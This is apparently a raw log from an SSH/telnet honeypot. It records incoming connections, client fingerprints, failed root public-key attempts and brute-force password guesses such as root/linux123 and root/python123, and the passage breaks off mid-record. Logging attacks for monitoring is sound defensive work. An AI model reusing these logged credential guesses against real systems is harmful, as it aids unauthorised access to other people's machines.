{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:cd:b5:2d:9a:f8:32:47:24:72:96:ae:f0:8a:ac:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAobJI0gaoRBlp8ruR/98sOVeB1cLS55GDkpLDBw+RCoQdgUMg1sFKiDSySzuJhKr3W69bEs7R+l3wmjC+2ox2XyAFjy3nV+C+OaIKy8Abyy3oMnpomFEiy9Gz9CK9AhkIZXY89wKIGmfUYAxqXwI+nHcT+2MXchqpYzIU59KeAST3yCEDE+Lp6NRWUgIICdE64hdpOF0qNL1OqfdUT+6Vhn+ggJAFsZnAT5cwCHxtexe0ihQW8kVtfplmA2zlg69M1orqQayJ4WORdFDvVJnCVACWgHh8x6x06ZbRp8Zk9xxQgBuENuFVNC8TK47f63o6u1+SFQwjUX4MA2gQYyXg2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:cd:b5:2d:9a:f8:32:47:24:72:96:ae:f0:8a:ac:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.750418Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:cd:b5:2d:9a:f8:32:47:24:72:96:ae:f0:8a:ac:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAobJI0gaoRBlp8ruR/98sOVeB1cLS55GDkpLDBw+RCoQdgUMg1sFKiDSySzuJhKr3W69bEs7R+l3wmjC+2ox2XyAFjy3nV+C+OaIKy8Abyy3oMnpomFEiy9Gz9CK9AhkIZXY89wKIGmfUYAxqXwI+nHcT+2MXchqpYzIU59KeAST3yCEDE+Lp6NRWUgIICdE64hdpOF0qNL1OqfdUT+6Vhn+ggJAFsZnAT5cwCHxtexe0ihQW8kVtfplmA2zlg69M1orqQayJ4WORdFDvVJnCVACWgHh8x6x06ZbRp8Zk9xxQgBuENuFVNC8TK47f63o6u1+SFQwjUX4MA2gQYyXg2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.754701Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:11:f4:39:6e:b4:d6:50:a8:14:de:8e:5d:64:4f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmPDraI+KlBaCMmcZRC+IE7OW87aSFtHxH7KKvY6J0hptEp8epOFf96rAIJ8UUUFsA/+w/uPf2B5IqzUvpDZOuV+mH1R5BNFb6BrKnRt5xJjvVKiX0JvIQg1HWmBD1JKqrcH7CXucB4hnxFS9P9r9ph3FffldNcIUC5vNuR7471zOKg2K3DLwvTY+ke3tGJRHlhj0NgkGTKz7N1HhlM3ZN3aH+1eCKITgmeKiWGsOk6Q/YS8YVS4tIN0uFbcXVKzsImNCMCGzPSuJEJSAYkde6ODRR1CciCpGaJUwc45YEZaCXTSekUWGWiMqwn+xFNAZLx1sligHvWeNLO0WH+x3D+SktvlQUY715OM8ouOSiM+zIsTdxlBYLtR3cgXFc45PTjfDAqVLVKbc0n0XnQmmfXNNsKO9NbWyP8qzhvjRBWsiFdw7633LStRJOsLv15yu+GeYyItkFa0J6IpdsDfWvWR8yAIW2dveAzcCmz+AKVOlC7OK42W8b+S+4RU462Js=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:11:f4:39:6e:b4:d6:50:a8:14:de:8e:5d:64:4f:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.840925Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:11:f4:39:6e:b4:d6:50:a8:14:de:8e:5d:64:4f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmPDraI+KlBaCMmcZRC+IE7OW87aSFtHxH7KKvY6J0hptEp8epOFf96rAIJ8UUUFsA/+w/uPf2B5IqzUvpDZOuV+mH1R5BNFb6BrKnRt5xJjvVKiX0JvIQg1HWmBD1JKqrcH7CXucB4hnxFS9P9r9ph3FffldNcIUC5vNuR7471zOKg2K3DLwvTY+ke3tGJRHlhj0NgkGTKz7N1HhlM3ZN3aH+1eCKITgmeKiWGsOk6Q/YS8YVS4tIN0uFbcXVKzsImNCMCGzPSuJEJSAYkde6ODRR1CciCpGaJUwc45YEZaCXTSekUWGWiMqwn+xFNAZLx1sligHvWeNLO0WH+x3D+SktvlQUY715OM8ouOSiM+zIsTdxlBYLtR3cgXFc45PTjfDAqVLVKbc0n0XnQmmfXNNsKO9NbWyP8qzhvjRBWsiFdw7633LStRJOsLv15yu+GeYyItkFa0J6IpdsDfWvWR8yAIW2dveAzcCmz+AKVOlC7OK42W8b+S+4RU462Js=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.844965Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:59:f2:e1:ba:7f:18:4e:a8:90:cf:2e:5e:db:3e:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKua7ZEDqT5H3AZ//EJNCQnI1Er2wAgJvEFcoYuT+UFcBLR1nx71Ss0rGNc7pS6nJU9K+ZUfmJuQYgLOdgjKSw5/9irqHjnXT4Xye3CwBX+XMhve6L8UBiATWT0jMmCx4YmYo25UsIGttP3Azozq0YIgkqvgMnVJcBEmWpA/Y+zq0XBVkAQ0EIiEscBnD4m9ghJKHB9TKItlbBGhQ4I5CsFvxZPiXCr+7tRkF8HrA5G+7o50bXcllGQ628/0oj6LheytjhPPQlCGjZTzrBW7duFQ5jn2jZa3WUSmpixFaEopCiwIfH2XDXDb4aDswmgbH4d8OV1SngVdPc4vhLGUmR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:59:f2:e1:ba:7f:18:4e:a8:90:cf:2e:5e:db:3e:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.928812Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:59:f2:e1:ba:7f:18:4e:a8:90:cf:2e:5e:db:3e:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKua7ZEDqT5H3AZ//EJNCQnI1Er2wAgJvEFcoYuT+UFcBLR1nx71Ss0rGNc7pS6nJU9K+ZUfmJuQYgLOdgjKSw5/9irqHjnXT4Xye3CwBX+XMhve6L8UBiATWT0jMmCx4YmYo25UsIGttP3Azozq0YIgkqvgMnVJcBEmWpA/Y+zq0XBVkAQ0EIiEscBnD4m9ghJKHB9TKItlbBGhQ4I5CsFvxZPiXCr+7tRkF8HrA5G+7o50bXcllGQ628/0oj6LheytjhPPQlCGjZTzrBW7duFQ5jn2jZa3WUSmpixFaEopCiwIfH2XDXDb4aDswmgbH4d8OV1SngVdPc4vhLGUmR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.933025Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:13.016689Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":50356,"dst_ip":"159.203.135.109","dst_port":22,"session":"785341d02244","protocol":"ssh","message":"New connection: 192.169.243.246:50356 (159.203.135.109:22) [session: 785341d02244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:30.720736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:30.726425Z","src_ip":"192.169.243.246","session":"785341d02244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:30.803201Z","src_ip":"192.169.243.246","session":"785341d02244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:31.128041Z","src_ip":"192.169.243.246","session":"785341d02244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:32.204553Z","src_ip":"192.169.243.246","session":"785341d02244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":42292,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c78b1f22d57","protocol":"telnet","message":"New connection: 167.71.238.254:42292 (10.17.0.5:23) [session: 3c78b1f22d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:26:05.728068Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":49658,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccc2b67e49e2","protocol":"ssh","message":"New connection: 192.169.243.246:49658 (159.203.135.109:22) [session: ccc2b67e49e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:26:56.795446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:26:56.799928Z","src_ip":"192.169.243.246","session":"ccc2b67e49e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:26:56.872693Z","src_ip":"192.169.243.246","session":"ccc2b67e49e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:26:57.199525Z","src_ip":"192.169.243.246","session":"ccc2b67e49e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:26:58.275609Z","src_ip":"192.169.243.246","session":"ccc2b67e49e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.56564664840698,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:27:50.293615Z","src_ip":"167.71.238.254","session":"3c78b1f22d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":48942,"dst_ip":"159.203.135.109","dst_port":22,"session":"fce7fd0766b7","protocol":"ssh","message":"New connection: 192.169.243.246:48942 (159.203.135.109:22) [session: fce7fd0766b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:28:12.435121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:28:12.440542Z","src_ip":"192.169.243.246","session":"fce7fd0766b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:28:12.517020Z","src_ip":"192.169.243.246","session":"fce7fd0766b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"muhammad","message":"login attempt [root/muhammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:28:12.852265Z","src_ip":"192.169.243.246","session":"fce7fd0766b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:28:13.930779Z","src_ip":"192.169.243.246","session":"fce7fd0766b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.109","src_port":54657,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb4fc0a7de63","protocol":"ssh","message":"New connection: 91.230.168.109:54657 (159.203.135.109:22) [session: fb4fc0a7de63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:11.893263Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:12.039570Z","src_ip":"91.230.168.109","session":"fb4fc0a7de63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.203","src_port":47593,"dst_ip":"159.203.135.109","dst_port":22,"session":"45974f74096f","protocol":"ssh","message":"New connection: 91.230.168.203:47593 (159.203.135.109:22) [session: 45974f74096f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:12.112317Z"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:22.676406Z","src_ip":"91.230.168.203","session":"45974f74096f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":48232,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac13ef4dea1","protocol":"ssh","message":"New connection: 192.169.243.246:48232 (159.203.135.109:22) [session: 5ac13ef4dea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:23.022925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:23.027637Z","src_ip":"192.169.243.246","session":"5ac13ef4dea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:23.099568Z","src_ip":"192.169.243.246","session":"5ac13ef4dea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"python123","message":"login attempt [root/python123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:23.419589Z","src_ip":"192.169.243.246","session":"5ac13ef4dea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:24.503191Z","src_ip":"192.169.243.246","session":"5ac13ef4dea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.201","src_port":56839,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0ece93427f0","protocol":"ssh","message":"New connection: 91.230.168.201:56839 (159.203.135.109:22) [session: f0ece93427f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:37.710284Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u00037\u0003\\xf6\u0003B\\xa0.\\xd2.\\x8d\\xd1\u0013<;\\xba:\\xb8z\u0014y\\x9d\rc0t\\xe0\\xe8\\xc90C\\xae\\x84 \\xfc1$\\xd9\\\u07bc1\u04e2\b/\\xe3\u0002\"\\xbf<\\xd14\\x83\\xf7g\\xaf\\xbc\\xdd\b\\xe4\\xad\\xe9\u007f\u001d\u0012\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u00037\u0003\\xf6\u0003B\\xa0.\\xd2.\\x8d\\xd1\u0013<;\\xba:\\xb8z\u0014y\\x9d\rc0t\\xe0\\xe8\\xc90C\\xae\\x84 \\xfc1$\\xd9\\\u07bc1\u04e2\b/\\xe3\u0002\"\\xbf<\\xd14\\x83\\xf7g\\xaf\\xbc\\xdd\b\\xe4\\xad\\xe9\u007f\u001d\u0012\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:37.715493Z","src_ip":"91.230.168.201","session":"f0ece93427f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:37.719165Z","src_ip":"91.230.168.201","session":"f0ece93427f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.201","src_port":50997,"dst_ip":"159.203.135.109","dst_port":22,"session":"9342fe44168c","protocol":"ssh","message":"New connection: 91.230.168.201:50997 (159.203.135.109:22) [session: 9342fe44168c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:37.860896Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:29:40.871778Z","src_ip":"91.230.168.201","session":"9342fe44168c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":57465,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f62e358157","protocol":"ssh","message":"New connection: 178.20.210.186:57465 (10.17.0.5:22) [session: c0f62e358157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:21.072448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:21.084110Z","src_ip":"178.20.210.186","session":"c0f62e358157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.c